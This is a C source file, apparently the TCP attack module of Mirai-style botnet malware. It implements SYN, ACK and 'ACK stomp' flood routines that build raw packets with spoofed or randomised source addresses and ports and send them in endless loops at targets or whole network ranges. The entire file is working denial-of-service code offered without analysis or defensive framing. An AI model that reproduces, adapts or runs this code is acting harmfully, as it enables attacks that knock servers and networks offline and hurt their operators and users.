#define _GNU_SOURCE #ifdef DEBUG #include #endif #include #include #include #include #include #include #include #include "includes.h" #include "attack.h" #include "checksum.h" #include "rand.h" void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { int i, fd; char **pkts = calloc(targs_len, sizeof (char *)); uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff); uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0); BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE); BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE); BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE); BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE); BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE); BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE); uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { #ifdef DEBUG printf("Failed to create raw socket. Aborting attack\n"); #endif return; } i = 1; if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) { #ifdef DEBUG printf("Failed to set IP_HDRINCL. Aborting\n"); #endif close(fd); return; } for (i = 0; i < targs_len; i++) { struct iphdr *iph; struct tcphdr *tcph; uint8_t *opts; pkts[i] = calloc(128, sizeof (char)); iph = (struct iphdr *)pkts[i]; tcph = (struct tcphdr *)(iph + 1); opts = (uint8_t *)(tcph + 1); iph->version = 4; iph->ihl = 5; iph->tos = ip_tos; iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20); iph->id = htons(ip_ident); iph->ttl = ip_ttl; if (dont_frag) iph->frag_off = htons(1 << 14); iph->protocol = IPPROTO_TCP; iph->saddr = source_ip; iph->daddr = targs[i].addr; tcph->source = htons(sport); tcph->dest = htons(dport); tcph->seq = htons(seq); tcph->doff = 10; tcph->urg = urg_fl; tcph->ack = ack_fl; tcph->psh = psh_fl; tcph->rst = rst_fl; tcph->syn = syn_fl; tcph->fin = fin_fl; // TCP MSS *opts++ = PROTO_TCP_OPT_MSS; // Kind *opts++ = 4; // Length *((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f)); opts += sizeof (uint16_t); // TCP SACK permitted *opts++ = PROTO_TCP_OPT_SACK; *opts++ = 2; // TCP timestamps *opts++ = PROTO_TCP_OPT_TSVAL; *opts++ = 10; *((uint32_t *)opts) = rand_next(); opts += sizeof (uint32_t); *((uint32_t *)opts) = 0; opts += sizeof (uint32_t); // TCP nop *opts++ = 1; // TCP window scale *opts++ = PROTO_TCP_OPT_WSS; *opts++ = 3; *opts++ = 6; // 2^6 = 64, window size scale = 64 } while (TRUE) { for (i = 0; i < targs_len; i++) { char *pkt = pkts[i]; struct iphdr *iph = (struct iphdr *)pkt; struct tcphdr *tcph = (struct tcphdr *)(iph + 1); // For prefix attacks if (targs[i].netmask < 32) iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); if (source_ip == 0xffffffff) iph->saddr = rand_next(); if (ip_ident == 0xffff) iph->id = rand_next() & 0xffff; if (sport == 0xffff) tcph->source = rand_next() & 0xffff; if (dport == 0xffff) tcph->dest = rand_next() & 0xffff; if (seq == 0xffff) tcph->seq = rand_next(); if (ack == 0xffff) tcph->ack_seq = rand_next(); if (urg_fl) tcph->urg_ptr = rand_next() & 0xffff; iph->check = 0; iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); tcph->check = 0; tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20); targs[i].sock_addr.sin_port = tcph->dest; sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); } #ifdef DEBUG break; if (errno != 0) printf("errno = %d\n", errno); #endif } } void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { int i, fd; char **pkts = calloc(targs_len, sizeof (char *)); uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff); uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff); BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE); BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE); BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE); BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE); BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE); BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE); int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { #ifdef DEBUG printf("Failed to create raw socket. Aborting attack\n"); #endif return; } i = 1; if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) { #ifdef DEBUG printf("Failed to set IP_HDRINCL. Aborting\n"); #endif close(fd); return; } for (i = 0; i < targs_len; i++) { struct iphdr *iph; struct tcphdr *tcph; char *payload; pkts[i] = calloc(1510, sizeof (char)); iph = (struct iphdr *)pkts[i]; tcph = (struct tcphdr *)(iph + 1); payload = (char *)(tcph + 1); iph->version = 4; iph->ihl = 5; iph->tos = ip_tos; iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len); iph->id = htons(ip_ident); iph->ttl = ip_ttl; if (dont_frag) iph->frag_off = htons(1 << 14); iph->protocol = IPPROTO_TCP; iph->saddr = source_ip; iph->daddr = targs[i].addr; tcph->source = htons(sport); tcph->dest = htons(dport); tcph->seq = htons(seq); tcph->doff = 5; tcph->urg = urg_fl; tcph->ack = ack_fl; tcph->psh = psh_fl; tcph->rst = rst_fl; tcph->syn = syn_fl; tcph->fin = fin_fl; tcph->window = rand_next() & 0xffff; if (psh_fl) tcph->psh = TRUE; rand_str(payload, data_len); } // targs[0].sock_addr.sin_port = tcph->dest; // if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1) // { // // } while (TRUE) { for (i = 0; i < targs_len; i++) { char *pkt = pkts[i]; struct iphdr *iph = (struct iphdr *)pkt; struct tcphdr *tcph = (struct tcphdr *)(iph + 1); char *data = (char *)(tcph + 1); // For prefix attacks if (targs[i].netmask < 32) iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); if (source_ip == 0xffffffff) iph->saddr = rand_next(); if (ip_ident == 0xffff) iph->id = rand_next() & 0xffff; if (sport == 0xffff) tcph->source = rand_next() & 0xffff; if (dport == 0xffff) tcph->dest = rand_next() & 0xffff; if (seq == 0xffff) tcph->seq = rand_next(); if (ack == 0xffff) tcph->ack_seq = rand_next(); // Randomize packet content? if (data_rand) rand_str(data, data_len); iph->check = 0; iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); tcph->check = 0; tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len); targs[i].sock_addr.sin_port = tcph->dest; sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); } #ifdef DEBUG break; if (errno != 0) printf("errno = %d\n", errno); #endif } } void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { int i, rfd; struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data)); char **pkts = calloc(targs_len, sizeof (char *)); uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE); BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE); BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE); BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE); BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE); BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE); int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768); BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); // Set up receive socket if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { #ifdef DEBUG printf("Could not open raw socket!\n"); #endif return; } i = 1; if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) { #ifdef DEBUG printf("Failed to set IP_HDRINCL. Aborting\n"); #endif close(rfd); return; } // Retrieve all ACK/SEQ numbers for (i = 0; i < targs_len; i++) { int fd; struct sockaddr_in addr, recv_addr; socklen_t recv_addr_len; char pktbuf[256]; time_t start_recv; stomp_setup_nums: if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { #ifdef DEBUG printf("Failed to create socket!\n"); #endif continue; } // Set it in nonblocking mode fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK); // Set up address to connect to addr.sin_family = AF_INET; if (targs[i].netmask < 32) addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); else addr.sin_addr.s_addr = targs[i].addr; if (dport == 0xffff) addr.sin_port = rand_next() & 0xffff; else addr.sin_port = htons(dport); // Actually connect, nonblocking connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); start_recv = time(NULL); // Get info while (TRUE) { int ret; recv_addr_len = sizeof (struct sockaddr_in); ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len); if (ret == -1) { #ifdef DEBUG printf("Could not listen on raw socket!\n"); #endif return; } if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr))) { struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr)); if (tcph->source == addr.sin_port) { if (tcph->syn && tcph->ack) { struct iphdr *iph; struct tcphdr *tcph; char *payload; stomp_data[i].addr = addr.sin_addr.s_addr; stomp_data[i].seq = ntohl(tcph->seq); stomp_data[i].ack_seq = ntohl(tcph->ack_seq); stomp_data[i].sport = tcph->dest; stomp_data[i].dport = addr.sin_port; #ifdef DEBUG printf("ACK Stomp got SYN+ACK!\n"); #endif // Set up the packet pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len); iph = (struct iphdr *)pkts[i]; tcph = (struct tcphdr *)(iph + 1); payload = (char *)(tcph + 1); iph->version = 4; iph->ihl = 5; iph->tos = ip_tos; iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len); iph->id = htons(ip_ident); iph->ttl = ip_ttl; if (dont_frag) iph->frag_off = htons(1 << 14); iph->protocol = IPPROTO_TCP; iph->saddr = LOCAL_ADDR; iph->daddr = stomp_data[i].addr; tcph->source = stomp_data[i].sport; tcph->dest = stomp_data[i].dport; tcph->seq = stomp_data[i].ack_seq; tcph->ack_seq = stomp_data[i].seq; tcph->doff = 8; tcph->fin = TRUE; tcph->ack = TRUE; tcph->window = rand_next() & 0xffff; tcph->urg = urg_fl; tcph->ack = ack_fl; tcph->psh = psh_fl; tcph->rst = rst_fl; tcph->syn = syn_fl; tcph->fin = fin_fl; rand_str(payload, data_len); break; } else if (tcph->fin || tcph->rst) { close(fd); goto stomp_setup_nums; } } } if (time(NULL) - start_recv > 10) { #ifdef DEBUG printf("Couldn't connect to host for ACK Stomp in time. Retrying\n"); #endif close(fd); goto stomp_setup_nums; } } } // Start spewing out traffic while (TRUE) { for (i = 0; i < targs_len; i++) { char *pkt = pkts[i]; struct iphdr *iph = (struct iphdr *)pkt; struct tcphdr *tcph = (struct tcphdr *)(iph + 1); char *data = (char *)(tcph + 1); if (ip_ident == 0xffff) iph->id = rand_next() & 0xffff; if (data_rand) rand_str(data, data_len); iph->check = 0; iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); tcph->seq = htons(stomp_data[i].seq++); tcph->ack_seq = htons(stomp_data[i].ack_seq); tcph->check = 0; tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len); targs[i].sock_addr.sin_port = tcph->dest; sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); } #ifdef DEBUG break; if (errno != 0) printf("errno = %d\n", errno); #endif } }